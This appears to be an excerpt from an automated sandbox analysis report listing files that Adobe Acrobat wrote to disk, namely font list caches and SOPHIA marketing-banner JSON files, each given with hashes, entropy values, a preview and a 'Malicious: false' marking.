SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5704

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.356992655557798
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJM3g98kUwPeUkwRe9:YvXKXisHAbcSGMbLUkee9
MD5:	FC2267FABD8D0AA366A3B809E10604B0
SHA1:	7105DB98BB11B2412A8A34076D063D8B08A5A1C5
SHA-256:	34333455C4E56203AE87EA543972B9D9251646975E8764F4D88EA90C1ECFC5ED
SHA-512:	C26834342CD401CB408C8D32EE2D4FF07B04DCACBA3E62CD7E9469C6EB620B330F294018BDEC84CF59C9253A5BF8A3B8E74544C223DDCFD4AD93A4CD89FCA7B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.309920242392568
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJfBoTfXpnrPeUkwRe9:YvXKXisHAbcSGWTfXcUkee9
MD5:	8F8D0316EA31B39BA955A636D5E1FEF9
SHA1:	E282E27BF6549E8760246F497B26C69C66184293
SHA-256:	C3CEB4F98188F65CD763FC3ACDA1A5BB1DC3281E49BB82D2DAC1BF8025CEAD5E
SHA-512:	A2E10BE856247CC7753680A1E520D63A5D1DA42BDF6E03D08DA795997ED5213F19DAC12DCF0C4EC671E99222BC8D139647C101BC582DDB10FA1095F695424ECD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.287770335969638
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJfBD2G6UpnrPeUkwRe9:YvXKXisHAbcSGR22cUkee9
MD5:	3AC0444BAD932FEC67BD21271802E56D
SHA1:	D7560A30DB7F7B9E4B5DD269074F703B39269419
SHA-256:	DFC2E49E5FAFEA93E04ADB9E40477C34AFC3D667096542B7321FF53E22504D43
SHA-512:	350A9D159DB680A77C0561D31BF0690AAF982C66112D1B0674AD10142DFD3661F7A1EC00E76E5623B448CB284E16DC541EAE35946A2F7ABD5065F67E78840E4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.336791696809124
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJfPmwrPeUkwRe9:YvXKXisHAbcSGH56Ukee9
MD5:	562A3FC4078E95039CB0E7799B5A5423
SHA1:	8CEF8265ECE5E148057657085A84550F182863B5
SHA-256:	13226B5B877B8FD57619E04AE054012FEE0CA001A4FBEB2D6B77D56E36B93A95
SHA-512:	A596CFFD5A4C422851342136F5EF44866343490EF78929D082DE6D7F495989AC487AADB2BD612213B32A0034C6CBD7C700E829BC779BFD260B562495F8C880EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.681245229005255
Encrypted:	false
SSDEEP:	24:Yv6XisgQvpLgE9cQx8LennAvzBvkn0RCmK8czOCCSGR:YvUgahgy6SAFv5Ah8cv/GR
MD5:	39062B4ADDEDB72E3EAE5CC3608361BD
SHA1:	8BCF3E7FF8B3EE410FA0F6679F981474E395EC67
SHA-256:	27E048FC80C0F3DE11A6FB8E5AF1AB5427A9B256FADFA1D8FE5083BB80A08DFA
SHA-512:	29E9D2ED17BDBE86A2048EF5EB359E9585FA595C45D6F4A16E98F90FBCA92C76693572431E0255D8BC2EC5DC1FA31239F6D6EEBAA7F13A9BA6836945513DCABA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284245350172226
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJf8dPeUkwRe9:YvXKXisHAbcSGU8Ukee9
MD5:	DF41BC5C79CDFAFC52D163B931941251
SHA1:	12636A725A8770141468707B64ECCC2526424060
SHA-256:	7C2E18FE64C06912B7BFDD8754C7411240A21D5DB9DD4C14C1E5300C4328AC8F
SHA-512:	64B0FDF7F46567B60A17FBA9C024A56B4A0255A793E0133B0B6D651D6ED6C2C92EEB318234DF88AF7DBF160B3E69D2EA7E740B9E93161DF3FA173E26B07A0C5B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.287915690675137
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJfQ1rPeUkwRe9:YvXKXisHAbcSGY16Ukee9
MD5:	B5EDE279A9AE710F06EF250AB0D24067
SHA1:	359BF3DA19A5BB7A4A879E6E2714AF28D13E9A49
SHA-256:	BD834DBBC02D4542B25D76BD4C8E678A43CBE4E977109DA736699123C44258AB
SHA-512:	E2497048A3F2ABF41389DA1BD96AE6BB5118BBB7E1927AA4982468CE0F0CFCF01D361CEAD98DDD6E3E67A148810C45DC79C196BD1E081E68CFCBE057D9412851
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29434843705876
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJfFldPeUkwRe9:YvXKXisHAbcSGz8Ukee9
MD5:	F7452D718ABA98438B6986E83B336DE6
SHA1:	E50896418EF66F47057FD1B8360B272FB4018DC0
SHA-256:	B2910B8D321DA821513FD2B25E22BEF3FA09A3CF5CFA4658A48691876E32534A
SHA-512:	70756DDF96989AA47178E2E0C4143AAA6B54961223EE9780502A04BC09F7B47026F5547C303AD35A1DFA352DF3430FF1A58AD5D2AFD060625B401580BC0E42EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.311446050101279
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJfzdPeUkwRe9:YvXKXisHAbcSGb8Ukee9
MD5:	2802BAF5213780A777DF0FB536BF75AF
SHA1:	4DEDA3AE5D9CC64B63E01493D24F796D9D81223E
SHA-256:	1CB91E0FCF60915CB3D6830BF134C5EC46F9843681B7ABEE8FED085F6BFBD680
SHA-512:	1DD58AE806C6ADDC3FC11E20CCDEEA1C5019C5CD60467D15560A4363BFEE6A36AFC9BFD1BAB36A1B9B88F538DB31BF40804A11B0AE9D605C2718AB708F4C7111
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2924657513272475
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJfYdPeUkwRe9:YvXKXisHAbcSGg8Ukee9
MD5:	1BC47B2DAF89E85F34155A4789D3A14F
SHA1:	4B66A6A76FDF7FA1692B6F6CFC5BC1F1625593C0
SHA-256:	151DF4F8331FA408296ED47379814A8E345D198970F59AEAE4BD119F8066AAEC
SHA-512:	8E94DF7C65016861E1B7B43C202B00433D981E57CFB8D5D41E24B18257C73B29E4322FE6BD713EF99211CF220E5FFEFC6EBD6A09EBC907CDF3B298A69B6D52A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.278383478927009
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJf+dPeUkwRe9:YvXKXisHAbcSG28Ukee9
MD5:	08495EFBDC2EAB791C0971341198CEA2
SHA1:	F38F2E296D2FFC466E9653FD10095BA79A96B795
SHA-256:	D16BC2F19FEF7EB60CF1196B7385C0D3412B6F9111B93CD52F915BA49AABC70A
SHA-512:	A53FF08AD821FE0937F16D261327520F67EC4566368243C317F28F9E8BA475761142ECBD8A77F25D84A40A28F636A9B5549BFFB9D1AE8D572DF6D8258034A319
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.276064630778931
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJfbPtdPeUkwRe9:YvXKXisHAbcSGDV8Ukee9
MD5:	F338B99F1D6C6890DAE6AF732184C54B
SHA1:	071C58FAB0F87ADEE6230DFF8AD0367964187FF0
SHA-256:	FB99F323FBE36ACE94B1AC92677F0B672E5BAB80F9E7C600D13CBF161B924EB0
SHA-512:	983FEAFEFF0219BDC36D43E9695CEE9BD96F767A3B7B83470494CAA076A80790FD47F4CB6975655240B9852D2FF301478717B4632D1211EF354F02E598DA81AE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.279916942592963
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJf21rPeUkwRe9:YvXKXisHAbcSG+16Ukee9
MD5:	A32B9F2D6C4DA7C22D8060E5923D80F3
SHA1:	7C6B4DCA81DC89F03D82D6695EB213165A46368C
SHA-256:	55698A0769CC17211C890C5011066C0C2C92BE91C53C7F5EA15CC1CA52228F2D
SHA-512:	6E61DDFF8E10D7FA23ECC15DA36E58C586599510112C514A87AC41C62FD24A5F82C086DDBED47FE4D4D4E1F5D77BC1DD8AF0AED4FE6151872EE5B9DC66016D54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.65486678247025
Encrypted:	false
SSDEEP:	24:Yv6XisgQ3amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSGR:YvUgIBgkDMUJUAh8cvMGR
MD5:	57B7DB0F29397E548F8DCDF9445B61F6
SHA1:	646C7334BF537E1F11FC38EA21B0D489AB4DB077
SHA-256:	ADE473DC87754ADAE53616198A03164D5FAD580073E649CA76A6735D4691828C
SHA-512:	EED58A87ACF3020230D057E219271755664B821A24463DADA3B8DE9243D86A988E3F37A5D70EA6B8CCEA25EDF205EE3F7D9A530893B5429A9F92690F137E06DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.255085049402286
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJfshHHrPeUkwRe9:YvXKXisHAbcSGUUUkee9
MD5:	66AD4AC8423C894E1C71D9B1DA75933A
SHA1:	7F46570F670EA31AFA0E22CBC11BB109D42DE6A5
SHA-256:	AFE3D6536108501C24130C888D2D9A7DEAA55D63D89BB8D7282C44E6B00508F4
SHA-512:	540CE7629800F53EAFB5D6CCDFF8378569A2878E8E10F4CFCD6A7ED06A0DD27A3B7C2B98E4FDE291DF23EC68D3BF09513EDBC05EB1C0DFC15CC06A4FF1440DD2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2591428350776095
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaUAlsHGAGC0nZiQ0Y6oAvJTqgFCrPeUkwRe9:YvXKXisHAbcSGTq16Ukee9
MD5:	2A28BE860439CFE84EF154EEC6953A5F
SHA1:	67BC9B4774FC398B0C2F5B44EA076D865203F99E
SHA-256:	49070F1D8756A7E5E4937D92966EECB41734FFCCFD10CB9F8FCB624307CB4B28
SHA-512:	0D97E879C40084AB2E640414F03E5F1EA1B083C1F306FE90C2DA6E6085F5A8E278279A0F02EA15D85A777366D09F77A76B0D2F6589E542D99C4FBC0CD8FBE2F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd12b50-828e-4c55-af42-23adca53bab9","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736713550629,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135991544239324
Encrypted:	false
SSDEEP:	48:Yo6bIWORqz/M9y4ih2Z0+bkYIJHu8fMnhevBW9/SfYe:PoxYm/MIc0+MMhKJ
MD5:	BD013C7B8499A7E99E28FB660F386873
SHA1:	AD216D10729FEBB7B209C3C7A98682EF1290593D
SHA-256:	9EADEF0B50D051333FBF22D5CDC1909C99F48F02EEE602D8BA167EEC1B48EB83
SHA-512:	C0DE7D0054E78019D88D66F487ECE90AFA572F979DCF8584B0B0FDE4CE20DBDE6106AF1D07243225F8FD3F6E0305D491B481A19E2E3477C638C0D6419EC45B0A
Malicious:	false
